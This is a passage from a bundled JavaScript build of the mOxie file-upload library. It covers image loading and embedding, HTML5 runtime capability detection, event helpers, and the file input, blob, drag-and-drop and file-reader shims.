5870 Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws
5871 DOMException.INVALID_STATE_ERR).
5872
5873 @method getAsBinaryString
5874 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5875 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5876 @return {String} Image as binary string
5877 */
5878 getAsBinaryString: function(type, quality) {
5879 var dataUrl = this.getAsDataURL(type, quality);
5880 return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7));
5881 },
5882
5883 /**
5884 Embeds a visual representation of the image into the specified node. Depending on the runtime,
5885 it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare,
5886 can be used in legacy browsers that do not have canvas or proper dataURI support).
5887
5888 @method embed
5889 @param {DOMElement} el DOM element to insert the image object into
5890 @param {Object} [opts]
5891 @param {Number} [opts.width] The width of an embed (defaults to the image width)
5892 @param {Number} [opts.height] The height of an embed (defaults to the image height)
5893 @param {String} [type="image/jpeg"] Mime type
5894 @param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg
5895 @param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions
5896 */
5897 embed: function(el, opts) {
5898 var self = this
5899 , runtime // this has to be outside of all the closures to contain proper runtime
5900 ;
5901
5902 opts = Basic.extend({
5903 width: this.width,
5904 height: this.height,
5905 type: this.type || 'image/jpeg',
5906 quality: 90
5907 }, opts || {});
5908
5909
5910 function render(type, quality) {
5911 var img = this;
5912
5913 // if possible, embed a canvas element directly
5914 if (Env.can('create_canvas')) {
5915 var canvas = img.getAsCanvas();
5916 if (canvas) {
5917 el.appendChild(canvas);
5918 canvas = null;
5919 img.destroy();
5920 self.trigger('embedded');
5921 return;
5922 }
5923 }
5924
5925 var dataUrl = img.getAsDataURL(type, quality);
5926 if (!dataUrl) {
5927 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
5928 }
5929
5930 if (Env.can('use_data_uri_of', dataUrl.length)) {
5931 el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />';
5932 img.destroy();
5933 self.trigger('embedded');
5934 } else {
5935 var tr = new Transporter();
5936
5937 tr.bind("TransportingComplete", function() {
5938 runtime = self.connectRuntime(this.result.ruid);
5939
5940 self.bind("Embedded", function() {
5941 // position and size properly
5942 Basic.extend(runtime.getShimContainer().style, {
5943 //position: 'relative',
5944 top: '0px',
5945 left: '0px',
5946 width: img.width + 'px',
5947 height: img.height + 'px'
5948 });
5949
5950 // some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's
5951 // position type changes (in Gecko), but since we basically need this only in IEs 6/7 and
5952 // sometimes 8 and they do not have this problem, we can comment this for now
5953 /*tr.bind("RuntimeInit", function(e, runtime) {
5954 tr.destroy();
5955 runtime.destroy();
5956 onResize.call(self); // re-feed our image data
5957 });*/
5958
5959 runtime = null; // release
5960 }, 999);
5961
5962 runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height);
5963 img.destroy();
5964 });
5965
5966 tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, {
5967 required_caps: {
5968 display_media: true
5969 },
5970 runtime_order: 'flash,silverlight',
5971 container: el
5972 });
5973 }
5974 }
5975
5976 try {
5977 if (!(el = Dom.get(el))) {
5978 throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR);
5979 }
5980
5981 if (!this.size) { // only preloaded image objects can be used as source
5982 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5983 }
5984
5985 // high-resolution images cannot be consistently handled across the runtimes
5986 if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
5987 //throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
5988 }
5989
5990 var imgCopy = new Image();
5991
5992 imgCopy.bind("Resize", function() {
5993 render.call(this, opts.type, opts.quality);
5994 });
5995
5996 imgCopy.bind("Load", function() {
5997 imgCopy.downsize(opts);
5998 });
5999
6000 // if embedded thumb data is available and dimensions are big enough, use it
6001 if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) {
6002 imgCopy.load(this.meta.thumb.data);
6003 } else {
6004 imgCopy.clone(this, false);
6005 }
6006
6007 return imgCopy;
6008 } catch(ex) {
6009 // for now simply trigger error event
6010 this.trigger('error', ex.code);
6011 }
6012 },
6013
6014 /**
6015 Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object.
6016
6017 @method destroy
6018 */
6019 destroy: function() {
6020 if (this.ruid) {
6021 this.getRuntime().exec.call(this, 'Image', 'destroy');
6022 this.disconnectRuntime();
6023 }
6024 this.unbindAll();
6025 }
6026 });
6027
6028
6029 // this is here, because in order to bind properly, we need uid, which is created above
6030 this.handleEventProps(dispatches);
6031
6032 this.bind('Load Resize', function() {
6033 _updateInfo.call(this);
6034 }, 999);
6035
6036
6037 function _updateInfo(info) {
6038 if (!info) {
6039 info = this.exec('Image', 'getInfo');
6040 }
6041
6042 this.size = info.size;
6043 this.width = info.width;
6044 this.height = info.height;
6045 this.type = info.type;
6046 this.meta = info.meta;
6047
6048 // update file name, only if empty
6049 if (this.name === '') {
6050 this.name = info.name;
6051 }
6052 }
6053
6054
6055 function _load(src) {
6056 var srcType = Basic.typeOf(src);
6057
6058 try {
6059 // if source is Image
6060 if (src instanceof Image) {
6061 if (!src.size) { // only preloaded image objects can be used as source
6062 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
6063 }
6064 _loadFromImage.apply(this, arguments);
6065 }
6066 // if source is o.Blob/o.File
6067 else if (src instanceof Blob) {
6068 if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) {
6069 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
6070 }
6071 _loadFromBlob.apply(this, arguments);
6072 }
6073 // if native blob/file
6074 else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) {
6075 _load.call(this, new File(null, src), arguments[1]);
6076 }
6077 // if String
6078 else if (srcType === 'string') {
6079 // if dataUrl String
6080 if (src.substr(0, 5) === 'data:') {
6081 _load.call(this, new Blob(null, { data: src }), arguments[1]);
6082 }
6083 // else assume Url, either relative or absolute
6084 else {
6085 _loadFromUrl.apply(this, arguments);
6086 }
6087 }
6088 // if source seems to be an img node
6089 else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') {
6090 _load.call(this, src.src, arguments[1]);
6091 }
6092 else {
6093 throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR);
6094 }
6095 } catch(ex) {
6096 // for now simply trigger error event
6097 this.trigger('error', ex.code);
6098 }
6099 }
6100
6101
6102 function _loadFromImage(img, exact) {
6103 var runtime = this.connectRuntime(img.ruid);
6104 this.ruid = runtime.uid;
6105 runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact));
6106 }
6107
6108
6109 function _loadFromBlob(blob, options) {
6110 var self = this;
6111
6112 self.name = blob.name || '';
6113
6114 function exec(runtime) {
6115 self.ruid = runtime.uid;
6116 runtime.exec.call(self, 'Image', 'loadFromBlob', blob);
6117 }
6118
6119 if (blob.isDetached()) {
6120 this.bind('RuntimeInit', function(e, runtime) {
6121 exec(runtime);
6122 });
6123
6124 // convert to object representation
6125 if (options && typeof(options.required_caps) === 'string') {
6126 options.required_caps = Runtime.parseCaps(options.required_caps);
6127 }
6128
6129 this.connectRuntime(Basic.extend({
6130 required_caps: {
6131 access_image_binary: true,
6132 resize_image: true
6133 }
6134 }, options));
6135 } else {
6136 exec(this.connectRuntime(blob.ruid));
6137 }
6138 }
6139
6140
6141 function _loadFromUrl(url, options) {
6142 var self = this, xhr;
6143
6144 xhr = new XMLHttpRequest();
6145
6146 xhr.open('get', url);
6147 xhr.responseType = 'blob';
6148
6149 xhr.onprogress = function(e) {
6150 self.trigger(e);
6151 };
6152
6153 xhr.onload = function() {
6154 _loadFromBlob.call(self, xhr.response, true);
6155 };
6156
6157 xhr.onerror = function(e) {
6158 self.trigger(e);
6159 };
6160
6161 xhr.onloadend = function() {
6162 xhr.destroy();
6163 };
6164
6165 xhr.bind('RuntimeError', function(e, err) {
6166 self.trigger('RuntimeError', err);
6167 });
6168
6169 xhr.send(null, options);
6170 }
6171 }
6172
6173 // virtual world will crash on you if image has a resolution higher than this:
6174 Image.MAX_RESIZE_WIDTH = 8192;
6175 Image.MAX_RESIZE_HEIGHT = 8192;
6176
6177 Image.prototype = EventTarget.instance;
6178
6179 return Image;
6180});
6181
6182// Included from: src/javascript/runtime/html5/Runtime.js
6183
6184/**
6185 * Runtime.js
6186 *
6187 * Copyright 2013, Moxiecode Systems AB
6188 * Released under GPL License.
6189 *
6190 * License: http://www.plupload.com/license
6191 * Contributing: http://www.plupload.com/contributing
6192 */
6193
6194/*global File:true */
6195
6196/**
6197Defines constructor for HTML5 runtime.
6198
6199@class moxie/runtime/html5/Runtime
6200@private
6201*/
6202define("moxie/runtime/html5/Runtime", [
6203 "moxie/core/utils/Basic",
6204 "moxie/core/Exceptions",
6205 "moxie/runtime/Runtime",
6206 "moxie/core/utils/Env"
6207], function(Basic, x, Runtime, Env) {
6208
6209 var type = "html5", extensions = {};
6210
6211 function Html5Runtime(options) {
6212 var I = this
6213 , Test = Runtime.capTest
6214 , True = Runtime.capTrue
6215 ;
6216
6217 var caps = Basic.extend({
6218 access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL),
6219 access_image_binary: function() {
6220 return I.can('access_binary') && !!extensions.Image;
6221 },
6222 display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')),
6223 do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()),
6224 drag_and_drop: Test(function() {
6225 // this comes directly from Modernizr: http://www.modernizr.com/
6226 var div = document.createElement('div');
6227 // IE has support for drag and drop since version 5, but doesn't support dropping files from desktop
6228 return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) &&
6229 (Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>'));
6230 }()),
6231 filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
6232 return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) ||
6233 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
6234 (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
6235 }()),
6236 return_response_headers: True,
6237 return_response_type: function(responseType) {
6238 if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported
6239 return true;
6240 }
6241 return Env.can('return_response_type', responseType);
6242 },
6243 return_status_code: True,
6244 report_upload_progress: Test(window.XMLHttpRequest && new XMLHttpRequest().upload),
6245 resize_image: function() {
6246 return I.can('access_binary') && Env.can('create_canvas');
6247 },
6248 select_file: function() {
6249 return Env.can('use_fileinput') && window.File;
6250 },
6251 select_folder: function() {
6252 return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>=');
6253 },
6254 select_multiple: function() {
6255 // it is buggy on Safari Windows and iOS
6256 return I.can('select_file') &&
6257 !(Env.browser === 'Safari' && Env.os === 'Windows') &&
6258 !(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<'));
6259 },
6260 send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))),
6261 send_custom_headers: Test(window.XMLHttpRequest),
6262 send_multipart: function() {
6263 return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string');
6264 },
6265 slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)),
6266 stream_upload: function(){
6267 return I.can('slice_blob') && I.can('send_multipart');
6268 },
6269 summon_file_dialog: function() { // yeah... some dirty sniffing here...
6270 return I.can('select_file') && (
6271 (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
6272 (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
6273 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
6274 !!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
6275 );
6276 },
6277 upload_filesize: True
6278 },
6279 arguments[2]
6280 );
6281
6282 Runtime.call(this, options, (arguments[1] || type), caps);
6283
6284
6285 Basic.extend(this, {
6286
6287 init : function() {
6288 this.trigger("Init");
6289 },
6290
6291 destroy: (function(destroy) { // extend default destroy method
6292 return function() {
6293 destroy.call(I);
6294 destroy = I = null;
6295 };
6296 }(this.destroy))
6297 });
6298
6299 Basic.extend(this.getShim(), extensions);
6300 }
6301
6302 Runtime.addConstructor(type, Html5Runtime);
6303
6304 return extensions;
6305});
6306
6307// Included from: src/javascript/core/utils/Events.js
6308
6309/**
6310 * Events.js
6311 *
6312 * Copyright 2013, Moxiecode Systems AB
6313 * Released under GPL License.
6314 *
6315 * License: http://www.plupload.com/license
6316 * Contributing: http://www.plupload.com/contributing
6317 */
6318
6319define('moxie/core/utils/Events', [
6320 'moxie/core/utils/Basic'
6321], function(Basic) {
6322 var eventhash = {}, uid = 'moxie_' + Basic.guid();
6323
6324 // IE W3C like event funcs
6325 function preventDefault() {
6326 this.returnValue = false;
6327 }
6328
6329 function stopPropagation() {
6330 this.cancelBubble = true;
6331 }
6332
6333 /**
6334 Adds an event handler to the specified object and store reference to the handler
6335 in objects internal Plupload registry (@see removeEvent).
6336
6337 @method addEvent
6338 @for Utils
6339 @static
6340 @param {Object} obj DOM element like object to add handler to.
6341 @param {String} name Name to add event listener to.
6342 @param {Function} callback Function to call when event occurs.
6343 @param {String} [key] that might be used to add specifity to the event record.
6344 */
6345 var addEvent = function(obj, name, callback, key) {
6346 var func, events;
6347
6348 name = name.toLowerCase();
6349
6350 // Add event listener
6351 if (obj.addEventListener) {
6352 func = callback;
6353
6354 obj.addEventListener(name, func, false);
6355 } else if (obj.attachEvent) {
6356 func = function() {
6357 var evt = window.event;
6358
6359 if (!evt.target) {
6360 evt.target = evt.srcElement;
6361 }
6362
6363 evt.preventDefault = preventDefault;
6364 evt.stopPropagation = stopPropagation;
6365
6366 callback(evt);
6367 };
6368
6369 obj.attachEvent('on' + name, func);
6370 }
6371
6372 // Log event handler to objects internal mOxie registry
6373 if (!obj[uid]) {
6374 obj[uid] = Basic.guid();
6375 }
6376
6377 if (!eventhash.hasOwnProperty(obj[uid])) {
6378 eventhash[obj[uid]] = {};
6379 }
6380
6381 events = eventhash[obj[uid]];
6382
6383 if (!events.hasOwnProperty(name)) {
6384 events[name] = [];
6385 }
6386
6387 events[name].push({
6388 func: func,
6389 orig: callback, // store original callback for IE
6390 key: key
6391 });
6392 };
6393
6394
6395 /**
6396 Remove event handler from the specified object. If third argument (callback)
6397 is not specified remove all events with the specified name.
6398
6399 @method removeEvent
6400 @static
6401 @param {Object} obj DOM element to remove event listener(s) from.
6402 @param {String} name Name of event listener to remove.
6403 @param {Function|String} [callback] might be a callback or unique key to match.
6404 */
6405 var removeEvent = function(obj, name, callback) {
6406 var type, undef;
6407
6408 name = name.toLowerCase();
6409
6410 if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) {
6411 type = eventhash[obj[uid]][name];
6412 } else {
6413 return;
6414 }
6415
6416 for (var i = type.length - 1; i >= 0; i--) {
6417 // undefined or not, key should match
6418 if (type[i].orig === callback || type[i].key === callback) {
6419 if (obj.removeEventListener) {
6420 obj.removeEventListener(name, type[i].func, false);
6421 } else if (obj.detachEvent) {
6422 obj.detachEvent('on'+name, type[i].func);
6423 }
6424
6425 type[i].orig = null;
6426 type[i].func = null;
6427 type.splice(i, 1);
6428
6429 // If callback was passed we are done here, otherwise proceed
6430 if (callback !== undef) {
6431 break;
6432 }
6433 }
6434 }
6435
6436 // If event array got empty, remove it
6437 if (!type.length) {
6438 delete eventhash[obj[uid]][name];
6439 }
6440
6441 // If mOxie registry has become empty, remove it
6442 if (Basic.isEmptyObj(eventhash[obj[uid]])) {
6443 delete eventhash[obj[uid]];
6444
6445 // IE doesn't let you remove DOM object property with - delete
6446 try {
6447 delete obj[uid];
6448 } catch(e) {
6449 obj[uid] = undef;
6450 }
6451 }
6452 };
6453
6454
6455 /**
6456 Remove all kind of events from the specified object
6457
6458 @method removeAllEvents
6459 @static
6460 @param {Object} obj DOM element to remove event listeners from.
6461 @param {String} [key] unique key to match, when removing events.
6462 */
6463 var removeAllEvents = function(obj, key) {
6464 if (!obj || !obj[uid]) {
6465 return;
6466 }
6467
6468 Basic.each(eventhash[obj[uid]], function(events, name) {
6469 removeEvent(obj, name, key);
6470 });
6471 };
6472
6473 return {
6474 addEvent: addEvent,
6475 removeEvent: removeEvent,
6476 removeAllEvents: removeAllEvents
6477 };
6478});
6479
6480// Included from: src/javascript/runtime/html5/file/FileInput.js
6481
6482/**
6483 * FileInput.js
6484 *
6485 * Copyright 2013, Moxiecode Systems AB
6486 * Released under GPL License.
6487 *
6488 * License: http://www.plupload.com/license
6489 * Contributing: http://www.plupload.com/contributing
6490 */
6491
6492/**
6493@class moxie/runtime/html5/file/FileInput
6494@private
6495*/
6496define("moxie/runtime/html5/file/FileInput", [
6497 "moxie/runtime/html5/Runtime",
6498 "moxie/file/File",
6499 "moxie/core/utils/Basic",
6500 "moxie/core/utils/Dom",
6501 "moxie/core/utils/Events",
6502 "moxie/core/utils/Mime",
6503 "moxie/core/utils/Env"
6504], function(extensions, File, Basic, Dom, Events, Mime, Env) {
6505
6506 function FileInput() {
6507 var _options;
6508
6509 Basic.extend(this, {
6510 init: function(options) {
6511 var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top;
6512
6513 _options = options;
6514
6515 // figure out accept string
6516 mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension'));
6517
6518 shimContainer = I.getShimContainer();
6519
6520 shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' +
6521 (_options.multiple && I.can('select_multiple') ? 'multiple' : '') +
6522 (_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+
6523 (mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />';
6524
6525 input = Dom.get(I.uid);
6526
6527 // prepare file input to be placed underneath the browse_button element
6528 Basic.extend(input.style, {
6529 position: 'absolute',
6530 top: 0,
6531 left: 0,
6532 width: '100%',
6533 height: '100%'
6534 });
6535
6536
6537 browseButton = Dom.get(_options.browse_button);
6538
6539 // Route click event to the input[type=file] element for browsers that support such behavior
6540 if (I.can('summon_file_dialog')) {
6541 if (Dom.getStyle(browseButton, 'position') === 'static') {
6542 browseButton.style.position = 'relative';
6543 }
6544
6545 zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
6546
6547 browseButton.style.zIndex = zIndex;
6548 shimContainer.style.zIndex = zIndex - 1;
6549
6550 Events.addEvent(browseButton, 'click', function(e) {
6551 var input = Dom.get(I.uid);
6552 if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
6553 input.click();
6554 }
6555 e.preventDefault();
6556 }, comp.uid);
6557 }
6558
6559 /* Since we have to place input[type=file] on top of the browse_button for some browsers,
6560 browse_button loses interactivity, so we restore it here */
6561 top = I.can('summon_file_dialog') ? browseButton : shimContainer;
6562
6563 Events.addEvent(top, 'mouseover', function() {
6564 comp.trigger('mouseenter');
6565 }, comp.uid);
6566
6567 Events.addEvent(top, 'mouseout', function() {
6568 comp.trigger('mouseleave');
6569 }, comp.uid);
6570
6571 Events.addEvent(top, 'mousedown', function() {
6572 comp.trigger('mousedown');
6573 }, comp.uid);
6574
6575 Events.addEvent(Dom.get(_options.container), 'mouseup', function() {
6576 comp.trigger('mouseup');
6577 }, comp.uid);
6578
6579
6580 input.onchange = function onChange(e) { // there should be only one handler for this
6581 comp.files = [];
6582
6583 Basic.each(this.files, function(file) {
6584 var relativePath = '';
6585
6586 if (_options.directory) {
6587 // folders are represented by dots, filter them out (Chrome 11+)
6588 if (file.name == ".") {
6589 // if it looks like a folder...
6590 return true;
6591 }
6592 }
6593
6594 if (file.webkitRelativePath) {
6595 relativePath = '/' + file.webkitRelativePath.replace(/^\//, '');
6596 }
6597
6598 file = new File(I.uid, file);
6599 file.relativePath = relativePath;
6600
6601 comp.files.push(file);
6602 });
6603
6604 // clearing the value enables the user to select the same file again if they want to
6605 if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') {
6606 this.value = '';
6607 } else {
6608 // in IE input[type="file"] is read-only so the only way to reset it is to re-insert it
6609 var clone = this.cloneNode(true);
6610 this.parentNode.replaceChild(clone, this);
6611 clone.onchange = onChange;
6612 }
6613
6614 if (comp.files.length) {
6615 comp.trigger('change');
6616 }
6617 };
6618
6619 // ready event is perfectly asynchronous
6620 comp.trigger({
6621 type: 'ready',
6622 async: true
6623 });
6624
6625 shimContainer = null;
6626 },
6627
6628
6629 disable: function(state) {
6630 var I = this.getRuntime(), input;
6631
6632 if ((input = Dom.get(I.uid))) {
6633 input.disabled = !!state;
6634 }
6635 },
6636
6637 destroy: function() {
6638 var I = this.getRuntime()
6639 , shim = I.getShim()
6640 , shimContainer = I.getShimContainer()
6641 ;
6642
6643 Events.removeAllEvents(shimContainer, this.uid);
6644 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
6645 Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
6646
6647 if (shimContainer) {
6648 shimContainer.innerHTML = '';
6649 }
6650
6651 shim.removeInstance(this.uid);
6652
6653 _options = shimContainer = shim = null;
6654 }
6655 });
6656 }
6657
6658 return (extensions.FileInput = FileInput);
6659});
6660
6661// Included from: src/javascript/runtime/html5/file/Blob.js
6662
6663/**
6664 * Blob.js
6665 *
6666 * Copyright 2013, Moxiecode Systems AB
6667 * Released under GPL License.
6668 *
6669 * License: http://www.plupload.com/license
6670 * Contributing: http://www.plupload.com/contributing
6671 */
6672
6673/**
6674@class moxie/runtime/html5/file/Blob
6675@private
6676*/
6677define("moxie/runtime/html5/file/Blob", [
6678 "moxie/runtime/html5/Runtime",
6679 "moxie/file/Blob"
6680], function(extensions, Blob) {
6681
6682 function HTML5Blob() {
6683 function w3cBlobSlice(blob, start, end) {
6684 var blobSlice;
6685
6686 if (window.File.prototype.slice) {
6687 try {
6688 blob.slice(); // depricated version will throw WRONG_ARGUMENTS_ERR exception
6689 return blob.slice(start, end);
6690 } catch (e) {
6691 // depricated slice method
6692 return blob.slice(start, end - start);
6693 }
6694 // slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672
6695 } else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) {
6696 return blobSlice.call(blob, start, end);
6697 } else {
6698 return null; // or throw some exception
6699 }
6700 }
6701
6702 this.slice = function() {
6703 return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments));
6704 };
6705 }
6706
6707 return (extensions.Blob = HTML5Blob);
6708});
6709
6710// Included from: src/javascript/runtime/html5/file/FileDrop.js
6711
6712/**
6713 * FileDrop.js
6714 *
6715 * Copyright 2013, Moxiecode Systems AB
6716 * Released under GPL License.
6717 *
6718 * License: http://www.plupload.com/license
6719 * Contributing: http://www.plupload.com/contributing
6720 */
6721
6722/**
6723@class moxie/runtime/html5/file/FileDrop
6724@private
6725*/
6726define("moxie/runtime/html5/file/FileDrop", [
6727 "moxie/runtime/html5/Runtime",
6728 'moxie/file/File',
6729 "moxie/core/utils/Basic",
6730 "moxie/core/utils/Dom",
6731 "moxie/core/utils/Events",
6732 "moxie/core/utils/Mime"
6733], function(extensions, File, Basic, Dom, Events, Mime) {
6734
6735 function FileDrop() {
6736 var _files = [], _allowedExts = [], _options, _ruid;
6737
6738 Basic.extend(this, {
6739 init: function(options) {
6740 var comp = this, dropZone;
6741
6742 _options = options;
6743 _ruid = comp.ruid; // every dropped-in file should have a reference to the runtime
6744 _allowedExts = _extractExts(_options.accept);
6745 dropZone = _options.container;
6746
6747 Events.addEvent(dropZone, 'dragover', function(e) {
6748 if (!_hasFiles(e)) {
6749 return;
6750 }
6751 e.preventDefault();
6752 e.dataTransfer.dropEffect = 'copy';
6753 }, comp.uid);
6754
6755 Events.addEvent(dropZone, 'drop', function(e) {
6756 if (!_hasFiles(e)) {
6757 return;
6758 }
6759 e.preventDefault();
6760
6761 _files = [];
6762
6763 // Chrome 21+ accepts folders via Drag'n'Drop
6764 if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) {
6765 _readItems(e.dataTransfer.items, function() {
6766 comp.files = _files;
6767 comp.trigger("drop");
6768 });
6769 } else {
6770 Basic.each(e.dataTransfer.files, function(file) {
6771 _addFile(file);
6772 });
6773 comp.files = _files;
6774 comp.trigger("drop");
6775 }
6776 }, comp.uid);
6777
6778 Events.addEvent(dropZone, 'dragenter', function(e) {
6779 comp.trigger("dragenter");
6780 }, comp.uid);
6781
6782 Events.addEvent(dropZone, 'dragleave', function(e) {
6783 comp.trigger("dragleave");
6784 }, comp.uid);
6785 },
6786
6787 destroy: function() {
6788 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
6789 _ruid = _files = _allowedExts = _options = null;
6790 }
6791 });
6792
6793
6794 function _hasFiles(e) {
6795 if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover
6796 return false;
6797 }
6798
6799 var types = Basic.toArray(e.dataTransfer.types || []);
6800
6801 return Basic.inArray("Files", types) !== -1 ||
6802 Basic.inArray("public.file-url", types) !== -1 || // Safari < 5
6803 Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6)
6804 ;
6805 }
6806
6807
6808 function _addFile(file, relativePath) {
6809 if (_isAcceptable(file)) {
6810 var fileObj = new File(_ruid, file);
6811 fileObj.relativePath = relativePath || '';
6812 _files.push(fileObj);
6813 }
6814 }
6815
6816
6817 function _extractExts(accept) {
6818 var exts = [];
6819 for (var i = 0; i < accept.length; i++) {
6820 [].push.apply(exts, accept[i].extensions.split(/\s*,\s*/));
6821 }
6822 return Basic.inArray('*', exts) === -1 ? exts : [];
6823 }
6824
6825
6826 function _isAcceptable(file) {
6827 if (!_allowedExts.length) {
6828 return true;
6829 }
6830 var ext = Mime.getFileExtension(file.name);
6831 return !ext || Basic.inArray(ext, _allowedExts) !== -1;
6832 }
6833
6834
6835 function _readItems(items, cb) {
6836 var entries = [];
6837 Basic.each(items, function(item) {
6838 var entry = item.webkitGetAsEntry();
6839 // Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579)
6840 if (entry) {
6841 // file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61
6842 if (entry.isFile) {
6843 _addFile(item.getAsFile(), entry.fullPath);
6844 } else {
6845 entries.push(entry);
6846 }
6847 }
6848 });
6849
6850 if (entries.length) {
6851 _readEntries(entries, cb);
6852 } else {
6853 cb();
6854 }
6855 }
6856
6857
6858 function _readEntries(entries, cb) {
6859 var queue = [];
6860 Basic.each(entries, function(entry) {
6861 queue.push(function(cbcb) {
6862 _readEntry(entry, cbcb);
6863 });
6864 });
6865 Basic.inSeries(queue, function() {
6866 cb();
6867 });
6868 }
6869
6870
6871 function _readEntry(entry, cb) {
6872 if (entry.isFile) {
6873 entry.file(function(file) {
6874 _addFile(file, entry.fullPath);
6875 cb();
6876 }, function() {
6877 // fire an error event maybe
6878 cb();
6879 });
6880 } else if (entry.isDirectory) {
6881 _readDirEntry(entry, cb);
6882 } else {
6883 cb(); // not file, not directory? what then?..
6884 }
6885 }
6886
6887
6888 function _readDirEntry(dirEntry, cb) {
6889 var entries = [], dirReader = dirEntry.createReader();
6890
6891 // keep quering recursively till no more entries
6892 function getEntries(cbcb) {
6893 dirReader.readEntries(function(moreEntries) {
6894 if (moreEntries.length) {
6895 [].push.apply(entries, moreEntries);
6896 getEntries(cbcb);
6897 } else {
6898 cbcb();
6899 }
6900 }, cbcb);
6901 }
6902
6903 // ...and you thought FileReader was crazy...
6904 getEntries(function() {
6905 _readEntries(entries, cb);
6906 });
6907 }
6908 }
6909
6910 return (extensions.FileDrop = FileDrop);
6911});
6912
6913// Included from: src/javascript/runtime/html5/file/FileReader.js
6914
6915/**
6916 * FileReader.js
6917 *
6918 * Copyright 2013, Moxiecode Systems AB
6919 * Released under GPL License.
6920 *
6921 * License: http://www.plupload.com/license
6922 * Contributing: http://www.plupload.com/contributing
6923 */
6924
6925/**
6926@class moxie/runtime/html5/file/FileReader
6927@private
6928*/
6929define("moxie/runtime/html5/file/FileReader", [
6930 "moxie/runtime/html5/Runtime",
6931 "moxie/core/utils/Encode",
6932 "moxie/core/utils/Basic"
6933], function(extensions, Encode, Basic) {
6934
6935 function FileReader() {
6936 var _fr, _convertToBinary = false;
6937
6938 Basic.extend(this, {
6939
6940 read: function(op, blob) {
6941 var comp = this;
6942
6943 comp.result = '';
6944
6945 _fr = new window.FileReader();
6946
6947 _fr.addEventListener('progress', function(e) {
6948 comp.trigger(e);
6949 });
6950
6951 _fr.addEventListener('load', function(e) {
6952 comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result;
6953 comp.trigger(e);
6954 });
6955
6956 _fr.addEventListener('error', function(e) {
6957 comp.trigger(e, _fr.error);
6958 });
6959
6960 _fr.addEventListener('loadend', function(e) {
6961 _fr = null;
6962 comp.trigger(e);
6963 });
6964
6965 if (Basic.typeOf(_fr[op]) === 'function') {
6966 _convertToBinary = false;
6967 _fr[op](blob.getSource());
6968 } else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+
6969 _convertToBinary = true;
6970 _fr.readAsDataURL(blob.getSource());
6971 }
6972 },
6973
6974 abort: function() {
